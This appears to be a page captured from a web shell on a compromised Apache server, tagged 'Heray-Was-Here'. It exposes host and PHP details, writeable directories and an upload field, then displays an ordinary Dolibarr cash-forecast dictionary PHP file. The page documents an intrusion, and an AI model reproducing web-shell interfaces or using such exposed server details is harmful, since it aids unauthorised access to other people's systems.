Heray-Was-Here
Server : Apache
System : Linux mail.lomejor.cr 6.8.0-1059-azure #65~22.04.1-Ubuntu SMP Thu May 28 16:59:19 UTC 2026 x86_64
User : www-data ( 33)
PHP Version : 8.2.31
Disable Function : NONE
Directory :  /var/www/erp/htdocs/custom/cashforecast/core/dictionaries/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /var/www/erp/htdocs/custom/cashforecast/core/dictionaries/cashforecast.dictionary.php
<?php
/* Copyright (C) 2020  Open-Dsi <support@open-dsi.fr>
 *
 * This program is free software; you can redistribute it and/or modify
 * it under the terms of the GNU General Public License as published by
 * the Free Software Foundation; either version 3 of the License, or
 * (at your option) any later version.
 *
 * This program is distributed in the hope that it will be useful,
 * but WITHOUT ANY WARRANTY; without even the implied warranty of
 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
 * GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License
 * along with this program. If not, see <http://www.gnu.org/licenses/>.
 */

/**
 * \file        htdocs/cashforecast/core/dictionaries/cashforecastscenario.dictionary.php
 * \ingroup     cashforecast
 * \brief       Class of the dictionary scenario
 */

dol_include_once('/advancedictionaries/class/dictionary.class.php');

/**
 * Class for CashForecastScenarioDictionary
 */
class CashForecastDictionary extends Dictionary
{
	/**
	 * @var int         Version of this dictionary
	 */
	public $version = 1;

	/**
     * @var array       List of languages to load
     */
    public $langs = array('banks', 'compta', 'companies', 'cashforecast@cashforecast');

    /**
     * @var string      Family name of which this dictionary belongs
     */
    public $family = 'cashforecast';

    /**
     * @var string      Family label for show in the list, translated if key found
     */
    public $familyLabel = 'Module163046Name';

    /**
     * @var int         Position of the dictionary into the family
     */
    public $familyPosition = 4;

    /**
     * @var string      Module name of which this dictionary belongs
     */
    public $module = 'cashforecast';

    /**
     * @var string      Module name for show in the list, translated if key found
     */
    public $moduleLabel = 'Module163046Name';

    /**
     * @var string      Name of this dictionary for show in the list, translated if key found
     */
    public $nameLabel = 'CashForecastDictionaryLabel';

    /**
     * @var string      Name of the dictionary table without prefix (ex: c_country)
     */
    public $table_name = 'c_cashforecast';

    /**
     * @var array  Fields of the dictionary table
     * 'name' => array(
     *   'name'       => string,         // Name of the field
     *   'label'      => string,         // Label of the field, translated if key found
     *   'type'       => string,         // Type of the field (varchar, text, int, double, date, datetime, boolean, price, phone, mail, url,
     *                                                         password, select, sellist, radio, checkbox, chkbxlst, link, custom)
     *   'database' => array(            // Description of the field in the database always rewrite default value if set
     *     'type'      => string,        // Data type
     *     'length'    => string,        // Length of the data type (require)
     *     'default'   => string,        // Default value in the database
     *   ),
     *   'is_require' => bool,           // Set at true if this field is required
     *   'options'    => array()|string, // Parameters same as extrafields (ex: 'table:label:rowid::active=1' or array(1=>'value1', 2=>'value2') )
     *                                      string: sellist, chkbxlst, link | array: select, radio, checkbox
     *                                      The key of the value must be not contains the character ',' and for chkbxlst it's a rowid
     *   'is_not_show'       => bool,    // Set at true if this field is not show must be set at true if you want to search or edit
     *   'td_title'          => array (
     *      'moreClasses'    => string,  // Add more classes in the title balise td
     *      'moreAttributes' => string,  // Add more attributes in the title balise td
     *      'align'          => string,  // Overwrirte the align by default
     *   ),
     *   'td_output'         => array (
     *      'moreClasses'    => string,  // Add more classes in the output balise td
     *      'moreAttributes' => string,  // Add more attributes in the output balise td
     *      'align'          => string,  // Overwrirte the align by default
     *   ),
     *   'show_output'       => array (
     *      'moreAttributes' => string,  // Add more attributes in when show output field
     *   ),
     *   'is_not_searchable' => bool,    // Set at true if this field is not searchable
     *   'td_search'         => array (
     *      'moreClasses'    => string,  // Add more classes in the search input balise td
     *      'moreAttributes' => string,  // Add more attributes in the search input balise td
     *      'align'          => string,  // Overwrirte the align by default
     *   ),
     *   'show_search_input' => array (
     *      'size'           => int,     // Size attribute of the search input field (input text)
     *      'moreClasses'    => string,  // Add more classes in the search input field
     *      'moreAttributes' => string,  // Add more attributes in the search input field
     *   ),
     *   'is_not_addable'    => bool,    // Set at true if this field is not addable
     *   'is_not_editable'   => bool,    // Set at true if this field is not editable
     *   'td_input'         => array (
     *      'moreClasses'    => string,  // Add more classes in the input balise td
     *      'moreAttributes' => string,  // Add more attributes in the input balise td
     *      'align'          => string,  // Overwrirte the align by default
     *   ),
     *   'show_input'        => array (
     *      'moreClasses'    => string,  // Add more classes in the input field
     *      'moreAttributes' => string,  // Add more attributes in the input field
     *   ),
     *   'help' => '',                   // Help text for this field or url, translated if key found
     *   'is_not_sortable'   => bool,    // Set at true if this field is not sortable
     *   'min'               => int,     // Value minimum (include) if type is int, double or price
     *   'max'               => int,     // Value maximum (include) if type is int, double or price
     * )
     */
    public $fields = array(
        'fk_soc' => array(),
        'date_value' => array(
            'name' => 'date_value',
            'label' => 'Date',
            'type' => 'date',
            'is_require' => true,
        ),
        'scenarios' => array(),
        'level1' => array(),
        'level2' => array(),
        'description' => array(
            'name' => 'description',
            'label' => 'Description',
            'type' => 'varchar',
            'is_require' => true,
        ),
        'fk_bank_account' => array(),
        'credit' => array(
            'name' => 'credit',
            'label' => 'Credit',
            'type' => 'double',
            'database' => array(
                //'default' => 0,
            ),
        ),
        'debit' => array(
            'name' => 'debit',
            'label' => 'Debit',
            'type' => 'double',
            'database' => array(
                //'default' => 0,
            ),
        ),
    );

    /**
     * @var array  List of index for the database
     * array(
     *   'fields'    => array( ... ), // List of field name who constitute this index
     *   'is_unique' => bool,         // Set at true if this index is unique
     * )
     */
    public $indexes = array();

	/**
	 * @var array  List of fields/indexes added, updated or deleted for a version
	 * array(
	 *   'version' => array(
	 *     'fields' => array('field_name'=>'u', ...), // List of field name who is updated(u) for a version
	 *     'deleted_fields' => array('field_name'=> array('name', 'type', other_custom_data_required_for_delete), ...), // List of field name who is deleted for a version
	 *     'indexes' => array('idx_number'=>'u', 'idx_number'=>'d', ...), // List of indexes number who is updated(u) or deleted(d) for a version
	 *   ),
	 * )
	 */
	public $updates = array(
		1 => array(
			'fields' => array('level1' => 'a', 'level2' => 'a'),
		)
	);

    /**
     * @var bool    Is multi entity (false = partaged, true = by entity)
     */
    public $is_multi_entity = true;

    /**
     * Initialize the dictionary
     *
     * @return  void
     */
    protected function initialize()
    {
        $this->fields['fk_soc'] = array(
            'name' => 'fk_soc',
            'label' => 'ThirdParty',
            'type' => 'sellist',
            'database' => array(
                'type' => 'int',
                'length' => 10,
            ),
            'options' => 'societe:nom|name_alias:rowid::entity IN (' . getEntity('societe') . ')',
        );
        $this->fields['scenarios'] = array(
            'name' => 'scenarios',
            'label' => 'CashForecastScenario',
            'type' => 'chkbxlst',
            'database' => array(
                'type' => 'int',
                'length' => 10,
            ),
            'options' => 'c_cashforecast_scenario:label:rowid::entity IN (' . $this->getEntity() . ')',
        );
        $this->fields['level1'] = array(
            'name' => 'level1',
            'label' => 'CashForecastLevel1',
            'type' => 'sellist',
            'database' => array(
                'type' => 'int',
                'length' => 10,
            ),
            'options' => 'c_cashforecast_level1:label:rowid::entity IN (' . $this->getEntity() . ')',
            'update_list_values'	=> array(
                'level2',
            ),
        );
        $this->fields['level2'] = array(
            'name' => 'level2',
            'label' => 'CashForecastLevel2',
            'type' => 'select',
            'database' => array(
                'type' => 'int',
                'length' => 10,
            ),
        );
        $this->fields['fk_bank_account'] = array(
            'name' => 'fk_bank_account',
            'label' => 'BankAccount',
            'type' => 'sellist',
            'database' => array(
                'type' => 'int',
                'length' => 10,
            ),
            'options' => 'bank_account:ref|label:rowid::entity IN (' . getEntity('bank_account') . ')',
        );
    }
}

class CashForecastDictionaryLine extends DictionaryLine
{
    /**
     * @var array			List of options of level2 by level1 cached
     */
    protected static $field_options_level2_cached;

    /**
     *  Check values fields
     *
     * @param array $fieldsValue Values of the fields array(name => value, ...)
     * @return  int                     <0 if not ok, >0 if ok
     */
    public function checkFieldsValues($fieldsValue)
    {
        global $langs;

        $langs->loadLangs($this->dictionary->langs);

        $check = true;
        foreach ($this->dictionary->fields as $fieldName => $field) {
            if ($field['is_require']) {
                $checkField = true;
                if (isset($fieldsValue[$fieldName])) {
                    $value = $fieldsValue[$fieldName];
                    switch ($field['type']) {
                        case 'varchar':
                        case 'text':
                        case 'phone':
                        case 'mail':
                        case 'url':
                        case 'password':
                            if (empty($value))
                                $checkField = false;
                            break;
                        case 'checkbox':
                        case 'chkbxlst':
                            if (trim($value) === '')
                                $checkField = false;
                            break;
                        case 'int':
                        case 'float':
                        case 'double':
                        case 'price':
                            if ($value === '') {
                                $checkField = false;
                            }
                            break;
                        case 'date':
                        case 'datetime':
                            if (empty($value))
                                $checkField = false;
                            break;
                        case 'link':
                        case 'radio':
                        case 'select':
                        case 'sellist':
                        case 'boolean':
                            if (trim($value) === '' || $value == -1)
                                $checkField = false;
                            break;
                        default: // unknown
                            break;
                    }
                } else {
                    $checkField = false;
                }

                if (!$checkField) {
                    $check = false;
                    $this->errors[] = $langs->trans("ErrorFieldRequired", $langs->transnoentities($field['label']));
                }
            }

            if (isset($fieldsValue[$fieldName])) {
                $value = $fieldsValue[$fieldName];
                switch ($field['type']) {
                    case 'int':
                    case 'float':
                    case 'double':
                    case 'price':

                        if ($fieldName == 'credit' || $fieldName == 'debit') {
                            //_____________________FONCTION_DEBIT_et_CREDIT____________________________________________________________________________________________________________________________

                            //$checkFieldCredit = ($fieldsValue['credit'] === '');
                            //$checkFieldDebit = ($fieldsValue['debit'] === '');
                            $checkFieldCredit = $fieldsValue['credit'] === ''; //champs credit vide
                            //|| (isset($field['min']) && $fieldsValue['credit'] < $field['min']) || (isset($field['max']) && $fieldsValue['credit'] > $field['max']));
                            $checkFieldDebit = $fieldsValue['debit'] === ''; //champ debit vide
                            //|| (isset($field['min']) && $fieldsValue['debit'] < $field['min']) || (isset($field['max']) && $fieldsValue['debit'] > $field['max']));

                            if (($checkFieldDebit && $checkFieldCredit)||(!$checkFieldDebit && !$checkFieldCredit))
                                //si credit et debit vide ou debit et credit rempli
                            {
                                $this->errors[] = $langs->trans("AdvanceDictionariesErrorCreditOrDebitOnly", $field['min']);
                                $check = false;
                                //gestion de l'erreur de ces 2 cas ; soit les 2 rempli ou les 2 vides
                                //le check est donc faux
                            }
                            //___________________________________________________________________________________________________________________________________________________
                        }
                        if (isset($field['min']) && $value < $field['min']) {
                            $check = false;
                            $this->errors[] = $langs->trans("AdvanceDictionariesErrorValueMustBeGreaterOrEqualThan", $field['min']);
                        }
                        if (isset($field['max']) && $value > $field['max']) {
                            $check = false;
                            $this->errors[] = $langs->trans("AdvanceDictionariesErrorValueMustBeLesserOrEqualThan", $field['max']);
                        }
                        break;
                    case 'custom':
                        if ($this->checkCustomFieldValue($field, $value) < 0)
                            $check = false;
                        break;
                    default: // unknown
                        break;
                }
            }
        }

        if ($check)
            return 1;
        else
            return -1;
    }

    /**
     * Return HTML string to put an output field into a page
     *
     * @param   string	$fieldName      Name of the field
     * @param   string	$value          Value to show
     * @return	string					Formatted value
     */
    public function showOutputFieldAD($fieldName, $value = null)
	{
		if ($fieldName == 'level2') {
			$result = $this->loadFieldOptions();
			if ($result > 0) {
				$values = isset(self::$field_options_level2_cached[$this->fields['level1']]) ? self::$field_options_level2_cached[$this->fields['level1']] : array();
				$this->dictionary->fields[$fieldName]['options'] = $values;
			} else {
				print 'Error when load level 2 values : ' . $this->errorsToString();
				$this->dictionary->fields[$fieldName]['options'] = array();
			}
		}
		return parent::showOutputFieldAD($fieldName, $value);
	}

    /**
     * Return HTML string to put an input field into a page
     *
     * //declaration des variables en dehors de la fonction
     * @param string $fieldName Name of the field
     * @param string $value Preselected value to show (for date type it must be in timestamp format, for amount or price it must be a php numeric value)
     * @param string $keyprefix Prefix string to add into name and id of field (can be used to avoid duplicate names)
     * @param string $keysuffix Suffix string to add into name and id of field (can be used to avoid duplicate names)
     * @param int $objectid Current object id
     * @param int $options_only 1: Return only the html output of the options of the select input
     * @return string
     */
    public function showInputFieldAD($fieldName, $value=null, $keyprefix='', $keysuffix='', $objectid=0, $options_only = 0)
	{
		if ($fieldName == 'level2') {
			$result = $this->loadFieldOptions();
			if ($result > 0) {
				$values = isset(self::$field_options_level2_cached[$this->fields['level1']]) ? self::$field_options_level2_cached[$this->fields['level1']] : array();
				$this->dictionary->fields[$fieldName]['options'] = $values;
			} else {
				print 'Error when load level 2 values : ' . $this->errorsToString();
				$this->dictionary->fields[$fieldName]['options'] = array();
			}
		}
		return parent::showInputFieldAD($fieldName, $value, $keyprefix, $keysuffix, $objectid, $options_only);
	}
    /**
     *  Load extra fields cache
     *
     * @return  int                     <0 if not ok, >0 if ok
     */
    protected function loadFieldOptions()
	{
		if (!isset(self::$field_options_level2_cached)) {
			$level2_dictionary = Dictionary::getDictionary($this->db, 'cashforecast', 'cashforecastlevel2');
			$result = $level2_dictionary->fetch_lines(1);
			if ($result < 0) {
				$this->error = $level2_dictionary->error;
				$this->errors = $level2_dictionary->errors;
				return -1;
			} else {
				self::$field_options_level2_cached = array();
				foreach ($level2_dictionary->lines as $line) {
					$level1_ids = !empty($line->fields['level1']) ? explode(',', $line->fields['level1']) : array();
					foreach ($level1_ids as $level1_id) {
						self::$field_options_level2_cached[$level1_id][$line->id] = $line->fields['label'];
					}
				}
			}
		}

		return 1;
	}
}

Hry